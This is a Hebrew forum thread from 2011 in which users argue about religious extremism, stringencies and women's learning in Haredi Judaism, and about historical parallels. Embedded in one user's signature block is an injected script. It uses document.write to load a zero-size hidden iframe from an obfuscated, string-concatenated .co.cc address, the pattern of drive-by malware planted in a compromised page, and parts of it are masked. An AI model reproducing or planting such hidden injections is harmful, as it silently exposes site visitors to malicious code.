|
|
| נשלח ב-26/12/2011 14:26 |
 |
| |
נא לא להסיט את הנושא לויכוחים פילוסופיים. זהו אשכול המיועד לפלפול בספקולציות על תהליכים היסטוריים (כידוע "קודשא בריך הוא חדי בפטפוטי דאורייתא" כך אומרים).
|
|
|
|
|
| נשלח ב-26/12/2011 14:27 |
|
| |
| דייר כתב: |  |
תוקן על ידי דייר ב- 26/12/2011 14:26:15 |
|
הוא שאמרתי, not true scotsman.
אגב, הידעת שגם רבנים עתיקים ומוערכים, בלי זנבות שועלים על הראש (אם כי אמנם ביקרו מדי פעם בבני ברק), עשו את האבסורד לאסור על אשה ללמוד דברים כאלו ואחרים - ומטעמים שנראים פרנואידים והזויים לגמרי?
תתחיל מויקיפדיה (אפילו תיקנתי את העלמת המידע החוצפנית שהייתה שם)
תוקן על ידי thepresent ב- 26/12/2011 14:49:51
|
|
|
|
| נשלח ב-26/12/2011 16:47 |
|
| |
אז אסרו SO WHAT
אין שום איסור בתורה שלא ללמד אשה תורה
התנ"ך מלא בנשים חכמניות
יש נביאות יש שופטות יש נשים שעשו מעשי גבורה ואפילו יזמו מלחמות.
כל הפאראנויה סביב הנשים שיש כיום היא מחלה קשה (לדעתי השפעה נוצרית)
תוקן על ידי דייר ב- 26/12/2011 16:47:25
|
|
|
|
| נשלח ב-26/12/2011 17:01 |
|
| |
| thepresent כתב: | | 1. תקדימים בעולם. אולי אפשר להביא לדוגמה את האיסלאם שמתור הזהב שלו בו היה בחוד החנית של הפילוסופיה והמדעים... 2. הבדלים בין הדת היהודית ו/או החומר האנושי שלה (קרי, היהודים), לבין דתות אחרות. ... 3. מידת הלינאריות של התופעה 4. תקדימים בארץ של הקצנה דתית שהשתלטה על המרחב הציבורי. לאחרונה נתקלתי בקישור הזה |
|
לדעתי (לניחושי?), לא הגענו קרוב אפילו לשיא ההקצנה. לגבי הנקודות שהעלית: - לגבי "תור הזהב של האיסלאם", יש עד כמה שידוע לי המון ערעורים בנושא, החל מזה שמדובר ממש באיסלאם, וכלה בזה שמדובר ממש בתור זהב. יש אינספור קישורים בנושא. הייתי מתחיל עם דעותיו של המזרחן ברנרד לואיס. גם לגבי דוגמאות של שימור ידע בכנסיות (נניח באיים הבריטיים) יש הסברים לטעמי לא פחות משכנעים.
- היהודים בנו דת קיצונית ובדלנית מאין כמוה, מותאמת מאד לחיים בגולה ללא התבוללות, ואולי בדיוק מאותן סיבות: אחת שלא הצליחה לתחזק שום עצמאות מדינית, ושהניסיון הנוכחי קם על אפה ועל חמתה (למרות דעות הרוויזיוניסטים בנושא).
- לא יודע.
- לירון נגלר כהן, ואת זה אני אומר כמישהו שעוקב אחרי דיעותיה שנים רבות, היא דוגמה מצויינת אך אירונית. מדובר בבחורה (נחמדה להפליא, אגב) קיצונית מאד בדיעותיה, אך בכוון אחר לגמרי - לו זה היה תלוי בה, כל הציבור הדת"ל, לדוגמה, היה "פורש" מדיני החוזים של ישראל כמחאה על ההתנתקות, ועובר למערך בתי דין אלטרנטיבי של הר' ערוסי. מדובר בדוגמה קלאסית למה שיהיה פה במדינת הקיצונים, בה כולם יתחרו לא רק על מידת הקיצוניות, אלא על הכוון המאד מדוייק שלה. שוב נחזור לכיתות לפני שנתפרק.
לעיקר שאלתך, זה נראה לי לצערי פשוט מאד. הדמוגרפיה מראה שאיננו קרובים לשיא.
 |
|
|
|
|
| נשלח ב-26/12/2011 17:35 |
|
| |
|
|
|
|
| נשלח ב-26/12/2011 18:12 |
|
| |
הבעיה היא, שגם אותם שאינם קיצוניים, מחשיבים את חלק מההקצנות. לתופעות שראוי לשאוף אליהם, רק מה לעשות, שהם אינם מסוגלים לכך.
לדוגמה: כמעט כל החרדים יאמרו לך, שהאידאל הוא לשבת וללמוד כל היום. אבל מה אעשה, שאיני מסוגל.
וכנ"ל לגבי קווי המהדרין. רבים רבים חושבים, שבעצם זהו דבר טוב. רק לא כל אחד מסוגל לזה. אבל ודאי מי שמסוגל לזה, קדוש יאמר לו.
|
|
|
|
| נשלח ב-26/12/2011 18:46 |
|
| |
דייר
אתה מוכיח לי את טעותי הגדולה- לא קראתי אותך נכון,
|
|
|
|
| נשלח ב-26/12/2011 20:03 |
|
| |
דייר
במוישי בנך הקטן:
תנ"ך עניין אחד
(למרות שגם בו יש מכירת ילדות לשפחות משק-בית/מין ולנישואין [=שפחת מין על בסיס קבוע], ואם תקראהו כמילולו [=ללא עזרתם האדיבה של חז"ל] תמצא שם סקילת נשים שנמצאו לא-בתולות בליל נישואיהן. וגם קנאים למונותאיזם ולפוריטניות אינם מוּדָרִים שם)
חז"ל עניין אחר
אולי חז"ל הושפעו מהנוצרים ('דיאלוג' FTW!) - לא יודע - מה שברור שהם רחוקים מאוד מהמודל החמדמד שאתה מנסה לכפות עליהם.
תיקון: לא שמתי לב לתגובתך בנושא נרות החנוכה. צריך להזהר שלא לחבול בך בטעות...
לא ידעתי שיש קראים בעיר בה אתה גר (לפי מה שכתוב בכרטיס האישי שלך). או שאתה 'רַבָּנִי-אנוס' (על משקל 'חרדי-אנוס')...
אגב, מה עם תפילין? תאריך חג השבועות? טבילה במקווה (לנשים)? יחסי מין עם פנויה?
תוקן על ידי thepresent ב- 26/12/2011 20:24:09
|
|
|
|
| נשלח ב-26/12/2011 22:04 |
|
| |
| xibolaiyu כתב: | | |
1. לגבי "תור הזהב של האיסלאם", יש עד כמה שידוע לי המון ערעורים בנושא, החל מזה שמדובר ממש באיסלאם, וכלה בזה שמדובר ממש בתור זהב. יש אינספור קישורים בנושא name one. הייתי מתחיל עם דעותיו של המזרחן ברנרד לואיס. גם לגבי דוגמאות של שימור ידע בכנסיות (נניח באיים הבריטיים) מה פירוש? יש הסברים לטעמי לא פחות משכנעים.
בקיצור, אשמח ואודה לך אם תרחיב.
2. היהודים בנו דת קיצונית ובדלנית מאין כמוה, מותאמת מאד לחיים בגולה ללא התבוללות, ואולי בדיוק מאותן סיבות: אחת שלא הצליחה לתחזק שום עצמאות מדינית, ושהניסיון הנוכחי קם על אפה ועל חמתה (למרות דעות הרוויזיוניסטים בנושא). לא הבנתי מה התכוונת לומר.
אניווי, גם אם הסקת מכך שהדת היהודית הרבנית כפי שהיא נראית כרגע [יכולה / לא יכולה] להדרדר לעברי פי פחת, עדיין אין חסינות מכך שהיא תשתנה כך ש[ההפך], בדיוק כשם שהיא השתנתה מיהדות ימי הבית הראשון (נהיה נחמדים ונניח שהייתה אחת מוגדרת) ליהדות הרבנית.
|
|
תוקן על ידי thepresent ב- 26/12/2011 22:08:06
|
|
|
|
| נשלח ב-26/12/2011 22:16 |
|
| |
הנוכח
אכן יש מקום לחשוש מהקצנה - והיא יכולה לבוא לידי ביטוי באופנים שונים. הנה לקחים היסטוריים:
א. כנגד ההשכלה הוגבהו חומות הגטו ונאסר על דברים שהיו טובים בפני עצמם. החל מלימוד מדע, שויון זכויות, פתיחות ולימודים.
ב. יותר קרוב לזמננו, יש מי שנלחם בציונות והפך אותה לעבירה הכמעט גדולה מכל העבירות.
ג. עוד יותר קרוב לזמננו, המלצה להשקיע בלימוד תורה ללא לימודי חול הפכה לאיסור ללמוד כל דבר אחר וגזירת בטלה או בטלנות על צעירים, גם מי שאינם מוכשרים, אינם רוצים ואינם אוהבים ואינם יכולים להשקיע ולהתפרנס רק מלימוד.
ד. יש מי שאסרו דברים מותרים ונימקו זאת ב"מאבק נגד השפעת הרחוב". לפעמים היה קצת טעם באיסור (סלולריים עם אינטרנט) ולפעמים ההפך (ישיבה נפרדת לזוגות באוטובוס).
כל אלו הן תופעות מקומיות וזמניות. תקנתן בצידן. אם יש בעיות, הן לדעתי בראש, ולא בגוף ולא בעקבים. כלומר, צריך שהמנהיגים, הרבנים, האחראים, אלו שאמורים לדעת ואלו שאמורים לשמוע לקולם, הם יהיו חכמים וגמישים.
במה?
הנה כמה המלצות מהחביבות עלי:
1. להפסיק לתמוך בחומרות ולהציגן כמעלה.
2. להבהיר שלא כל שאלה שמוצגת לרב היא שאלה באמת. אפשר לשבח את הכוונה הטובה ולגנות את הבורות (בלשון נקיה כמובן ולא במילה כה חריפה) שממנה נובעת השאלה.
3. להפסיק לפחד לחתוך ולצאת ידי כל השיטות, כולל שיטות רחוקות ויחידאות שמתחילות בהווה אמינא של אחרון מן האחרונים.
(דוגמא, כי אולי זה לא מובן: חומרה שהתפרסמה לאחרונה לגבי מיץ ענבים לקידוש מענבים שהמיץ שלהם אינו תוסס כרגיל ולכן אינו מגיע לכלל יין - שמוצג כפסול).
4. לתמוך ולסייע לפתיחות, להרחבת אופקים, להקמת מוסדות שישלבו לימודים ישיבתיים בצורה יעילה עם לימודים כמו אקדמיים, גם לרכישת מקצוע מכניס וקל וגם לבירורים נצרכים מול ביקורות חיצוניות לא מוצדקות.
(דוגמא, שאולי לא הצליחה מספיק, ישיבה אוניברסיטה, שכמובן אינה חרדית במובן הישראלי).
נקטתי כמה דוגמאות.
אך, כאמור, אלו בעיות מקומיות. הן ימצאו את פתרונן והשאלה היא מי יסבול וכמה יסבלו עד שהפתרון יופיע. מעצמו, "מלמטה", אם לא מ"למעלה". בהכוונה מגבוה של אלו שאמורים להנהיג.
לגבי הדוגמאות של חומרות שהיו כבר בימי חז"ל, כמדומה שאצל חז"ל ניתן למצוא זהירות שחסרה מאד בדורותינו. נכון שהיה מעשה שסקלו מי שרכב על סוס בשבת, אולם כבר האמוראים ראו בכך מעשה נגד דין תורה ונימקו זאת, על פי ההכרח לנמק, ב"תקנת שעה".
יש מספיק מקורות שמצדיקים סובלנות, קירוב, מאור פנים, פתיחות. צריך רק לא לסתום את המעיינות ולא לתת תמיכה לאלו שנלחמים בהם.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-26/12/2011 22:58 |
|
| |
| מיימוני כתב: | | הנוכח
לגבי הדוגמאות של חומרות שהיו כבר בימי חז"ל, כמדומה שאצל חז"ל ניתן למצוא זהירות שחסרה מאד בדורותינו. נכון שהיה מעשה שסקלו מי שרכב על סוס בשבת, אולם כבר האמוראים ראו בכך מעשה נגד דין תורה ונימקו זאת, על פי ההכרח לנמק, ב"תקנת שעה".
אני לא חושב שהאמוראים ראו את זה בשלילה. פשוט אין על כך הלכה עקרונית, אז צריך להסביר למה. האם אתה תקבל שבאופן 'חד פעמי' (ואין לי מושג מה עוד היה - זו הייתה תרבות של קנאים כל אחד לאמונות כיתתו, אז גם אם הסנהדרין לא הרגו עוד מלבד אלו, בוודאי היו סיקריקים, והפרושים עסקו בעיקר בהערצת תלמידי חכמים ופחות בעניינים אלו) יסקלו בחורה שהלכה עם מחשוף? אדם שאכל מהתר מכירה?
יש מספיק מקורות שמצדיקים סובלנות, קירוב, מאור פנים, פתיחות. צריך רק לא לסתום את המעיינות ולא לתת תמיכה לאלו שנלחמים בהם.
יכול להיות. אבל זה עניין לוויכוח שונה, פילוסופי יותר. השאלה של האשכול הזה היא מה יקרה, תומכי אלו מקורות ישתלטו על המרחב, השיח והחיים (בלי קשר לשאלה מי צודק ו/או מי יותר נאמן למסורת בית סבא) - ואולי לאחר שנים של טרור ואינדוקטרינציה הם יהפכו גם לאמת שאין בלתה... עצם החשיבה על דעות אחרות תלוּוֶה בתיעוב וריחוק ו'זה לא יכולה להיות נכון' מסוג זה שחשים כלפי עובדי הבעל, השומרונים, הצדוקים, היהודים הישועים או הקראים...
תודה על התגובה המפורטת, בכל אופן.
_________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
|
| נשלח ב-26/12/2011 23:19 |
|
| |
כמה צחקתי.
נפלתם על הראש אני קראי?????????????????????????
נראה לכם שבאלעד יש קראים?
הבעל פשוט עצבן אותי עם השאלה שלו אז עניתי מה שעניתי.
בבחינת ענה כסיל...(לא שהוא כסיל חלילה אבל הרעיון מובן)
עוד פעם אני חוזר ואומר שבתנ"ך אין שום איסור שאשה תלמד תורה וגם לא במשנה.
אז יש כמה מאמרים לפה ויש גם לשם אבל לא משהו חד משמעי.
ולגבי השפעות נוצריות התכוונתי למה שקורה היום עם ההפרדות המטורפות והנערוים
בכל מה שקשור לקצה קצהו של משהו שיכול להזכיר משהו מיני שומו שמים רחמנא ליצלן.
תוקן על ידי דייר ב- 26/12/2011 23:19:59
|
|
|
|
| נשלח ב-26/12/2011 23:38 |
|
| |
| thepresent כתב: | | |
1. לגבי "תור הזהב של האיסלאם", יש עד כמה שידוע לי המון ערעורים בנושא, החל מזה שמדובר ממש באיסלאם, וכלה בזה שמדובר ממש בתור זהב. יש אינספור קישורים בנושא name one. הייתי מתחיל עם דעותיו של המזרחן ברנרד לואיס. גם לגבי דוגמאות של שימור ידע בכנסיות (נניח באיים הבריטיים) מה פירוש? יש הסברים לטעמי לא פחות משכנעים.
בקיצור, אשמח ואודה לך אם תרחיב.
הנה כמה קישורים מחיפוש מהיר:
קישורים לברנרד לואיס בינתיים לא הצלחתי למצוא, וכן לא את ספריו בפורמט פתוח.
2. היהודים בנו דת קיצונית ובדלנית מאין כמוה, מותאמת מאד לחיים בגולה ללא התבוללות, ואולי בדיוק מאותן סיבות: אחת שלא הצליחה לתחזק שום עצמאות מדינית, ושהניסיון הנוכחי קם על אפה ועל חמתה (למרות דעות הרוויזיוניסטים בנושא). לא הבנתי מה התכוונת לומר. התכוונתי למה שאמרתי. שאלת אם יש משהו ביהדות במובן זה יחסית לדתות אחרות. לדעתי כן. מדובר בדת בעלת מצוות מעשיות המשמשות להבדלת מאמיניה מתרבויות/דתות אחרות מאד דומיננטיות. אינני מכיר עוד אחת דומה לה. אם, נגיד, בצד אחד של הספקטרום אפשר למצוא את הדתות המזרחיות, שפחות או יותר יכולות להכיל כל אמונה אחרת בה הן נפגשות, אז היהדות נמצאת בקצה השני של הספקטרום.
מצד אחד, מדובר בדת מותאמת להפליא לשרידות במצבים של ביזור / נחיתות, ואכן ישנה העובדה שמבין העמים שנפוצו באותה תקופה, קשה לחשוב על עוד אחד ששרד תודעתית. מצד שני, מדובר בעם שלא הצליח להשתלב בתוך ספרת ההשפעה של "מעצמות העל", בדיוק מהסיבה שהאלמנטים היותר בדלניים שלו תמיד נהיו דומיננטיים לבסוף (כנראה בדיוק אלה שבלעדיהם הוא היה מתבולל לאחר מכן), ולכן הוא נמעך על ידן.
אניווי, גם אם הסקת מכך שהדת היהודית הרבנית כפי שהיא נראית כרגע [יכולה / לא יכולה] להדרדר לעברי פי פחת, עדיין אין חסינות מכך שהיא תשתנה כך ש[ההפך], בדיוק כשם שהיא השתנתה מיהדות ימי הבית הראשון (נהיה נחמדים ונניח שהייתה אחת מוגדרת) ליהדות הרבנית.
תוקן על ידי thepresent ב- 26/12/2011 22:08:06
|
|
|
|
|
|
|
| נשלח ב-26/12/2011 23:45 |
|
| |
אגב, הבננות והמלפפונים, יש להם תקדים יהודי מובהק, ואפילו נאור: פרויד. ודוק היטב.
|
|
|
|
| נשלח ב-26/12/2011 23:54 |
|
| |
"תור הזהב של יהודי ספרד ח'ליפות קורדובה – פריחה תרבותית כללית. ליהודים בספרד הייתה פריחה כלכלית-תרבותית.
המושג "תור הזהב בספרד" הוטבע על ידי חוקרים יהודים-גרמנים במאה ה-19, שפעלו בפרוסיה. שמם של ההיסטוריונים: יוסט, גנץ, היינריך גרץ. הם התייחסו לממיד האינטלקטואלי של היצירה היהודית. הם החלו לעסוק ב"חכמת ישראל". הם עסקו בהגות ובמקרא בהסתכלות ערכית – ושאלו: מה הייתה תרומת היהדות לאנושות?
התרומה היהודית – 950-1146/1148. במשך כ-200 שנה בספרד המוסלמית הייתה יצירה יהודית איכותית ונתנו לה את השם "תור הזהב." 1860-1941 – ההיסטוריון שמעון דובנוב – נרצח בגיל 81 בריגה על ידי הנאצים. כתב את דברי ימי עם עולם. הוא דיבר על הגמוניה יהודית בעולם. מאה 5-10 – ימי יהדות בבל. בין המאה ה-10- המאה ה-15, ההגמוניה היהודית הייתה בספרד."
כל זה איננו מיתוס.
|
|
|
|
|
